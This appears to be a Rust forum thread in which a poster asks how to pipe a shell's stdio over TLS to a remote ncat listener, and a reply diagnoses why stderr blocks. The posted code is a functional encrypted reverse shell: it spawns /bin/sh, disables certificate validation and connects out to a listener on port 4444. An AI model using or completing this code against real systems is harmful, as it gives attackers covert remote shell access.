Redirect stdio over TLS (new question)

Hi

Previously I already asked this question and got an answer (Redirect stdio over TLS - #10 by localacct). However, some time later, I have problems understanding the answer (had not been practising Rust).

While I try to understand the original answer (ssl - Redirect stdio over TLS in Rust - Stack Overflow), is there a simpler solution for me to understand how to redirect stdio over TLS, similar to ncat's -e option?

Sorry for posting this, I have problems understanding the original answer and so I am seeking another opinion.

My aim is to communicate with a remote ncat server over TLS and pipe the stdio to it.

I tried to write some code but I can only redirect stdin and stdout but not stderr. Can someone advise the problem with my code?

async fn connect() -> std::io::Result<()>
{
    let mut connection = tokio::net::TcpStream::connect("127.0.0.1:4444").await?;

    let mut tlsconnector_builder = tokio_native_tls::native_tls::TlsConnector::builder();
    tlsconnector_builder.danger_accept_invalid_certs(true);
    tlsconnector_builder.use_sni(false);
    tlsconnector_builder.danger_accept_invalid_hostnames(true);

    let native_tls_connector = tlsconnector_builder.build().unwrap();

    let tokio_tls_connector = tokio_native_tls::TlsConnector::from(native_tls_connector);
    let tls_connector = tokio_tls_connector.connect("127.0.0.1:4444", connection).await;

    let mut child_process = tokio::process::Command::new("/bin/sh")
                            .stdin(std::process::Stdio::piped())
                            .stdout(std::process::Stdio::piped())
                            .stderr(std::process::Stdio::piped())
                            .spawn()?;

    let mut child_stdin = child_process.stdin.take().expect("cannot open stdin");
    let mut child_stdout = child_process.stdout.take().expect("cannot open stdout");
    let mut child_stderr = child_process.stderr.take().expect("cannot open stderr");

    match tls_connector
    {
        Ok(tls_stream) =>
        {
            let (mut reader, mut writer) = tokio::io::split(tls_stream);

            let writer_arc = Arc::new(tokio::sync::Mutex::new(writer));
            let writer_clone = Arc::clone(&writer_arc);

            let stdin_task = tokio::spawn(async move {

            tokio::io::copy(&mut reader, &mut child_stdin).await;
            });

            let stdout_task = tokio::spawn(async move {

                    let mut temp = writer_clone.lock().await;
                    let mut writer = temp.deref_mut();

                    tokio::io::copy(&mut child_stdout, &mut writer).await;
               

            });

            let writer_clone = Arc::clone(&writer_arc);

            let stderr_task = tokio::spawn(async move {
 
                    let mut temp = writer_clone.lock().await;
                    let mut writer = temp.deref_mut();

                    tokio::io::copy(&mut child_stderr, &mut writer).await; 

               
            });

            futures::join!(stdin_task, stdout_task, stderr_task);
        },
        Err(error) =>
        {
            println!("Error establishing TLS connection");
        },
    }

    Ok(())
}

I guess two writer_clone.lock()s are blocking each other from progressing? You might want to do what tokio::io::copy does manually, locking writer_clone briefly just to write incoming bytes, definitely not for the whole spawned task.

Hi @Cerber-Ursi

How do I do that? Sorry, not too experienced with Rust. Can you explain with a simple code snippet?

@Cerber-Ursi

I think you may be right. I commented out the code for stdout_task and now I can see stderr messages.

This topic was automatically closed 90 days after the last reply. We invite you to open a new topic if you have further questions or comments.